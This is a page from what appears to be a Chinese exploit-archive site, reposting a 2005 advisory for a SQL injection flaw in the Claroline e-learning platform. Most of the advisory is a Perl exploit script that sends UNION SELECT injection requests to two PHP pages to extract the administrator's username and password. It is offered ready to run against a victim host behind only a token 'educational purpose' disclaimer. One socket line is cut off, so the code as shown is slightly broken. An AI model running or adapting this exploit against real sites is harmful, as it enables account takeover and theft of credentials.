首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Claroline E-Learning Application Remote SQL Injection
来源:www.vfocus.net 作者:K-C0d3r 发布时间:2005-06-20  

Claroline E-Learning Application Remote SQL Injection

Summary
Claroline is "an Open Source software based on PHP /MySQL. It's a collaborative learning environment allowing teachers or education institutions to create and administer courses through the web". An SQL Injection vulnerability has been discovered discovered in Claroline E-Learning, the following exploit code will return the username and password of the administrator user of the product.

Credit:
The information has been provided by K-C0d3r.

Details
Exploit:
#!/usr/bin/perl
# Claroline E-Learning Application Remote SQL Exploit
# [K-C0d3r]
# This tools and to consider only himself to educational purpose
# Bug discovered by
# Greetz to mZ, 2b TUBE, off, rikky, str0ke, x0n3-h4ck, MWC
# [K-C0d3r]

use IO::Socket;

sub Usage {
print STDERR "Usage: KCcol-xpl.pl <www.victim.com> <path/dir> <target_num>\n";
print STDERR "Targets:\n1 - userInfo.php\n";
print STDERR "2 - exercises_details.php\n";
exit;
}

if (@ARGV < 3)
{
Usage();
}

if (@ARGV > 3)
{
Usage();
}

if (@ARGV == 3)
{
$host = @ARGV[0];
$path = @ARGV[1];
$target = @ARGV[2];

print "[K-C0d3r] Claroline E-Learning Application Remote SQL Exploit [K-C0d3r]\n";
print "[+] Connecting to $host\n";

$sqli = "%20UNION%20SELECT%20pn_uname,null,pn_uname,pn_pass,pn_pass,null,pn_pass,null";
$sqli .= "%20FROM%20pn_users%20WHERE%20pn_uid=2/*";

$socket = new IO::Socket::INET (PeerAddr => "$host", PeerPort => 80,

print "[+] Injecting command ...\n";

if ($target == 1)
{
print $socket "GET http://$host/$path/userInfo.php?uInfo=-1$sqli HTTP/1.1\nHost: $host\n\n Connection: Close\r\n\r\n";
while (<$socket>)
{
print $_;
exit;
}
}
if ($target == 2)
{
print $socket "GET http://$host/$path/exercises_details.php?uInfo=-1$sqli HTTP/1.1\nHost: $host\n\n Connection: Close\r\n\r\n";
while (<$socket>)
{
print $_;
exit;
}
}
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Mambo Remote Password Hash Ret
·MercuryBoard <= 1.1.4 User-
·MacOS X launchd Race Condition
·Buffer Overflow In Ethereal (C
·Ipswitch IMail IMAP Buffer Ove
·Mysql 4.x CREATE FUNCTION Arbi
·Invision Power Board SQL Injec
·Mysql 4.x CREATE FUNCTION libc
·WebHints Remote Command Execut
·Ethereal IAPP Remote Buffer Ov
·GNU Mailutils imap4d Remote Pr
·PaX VMA Mirroring Unmapping Vu
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved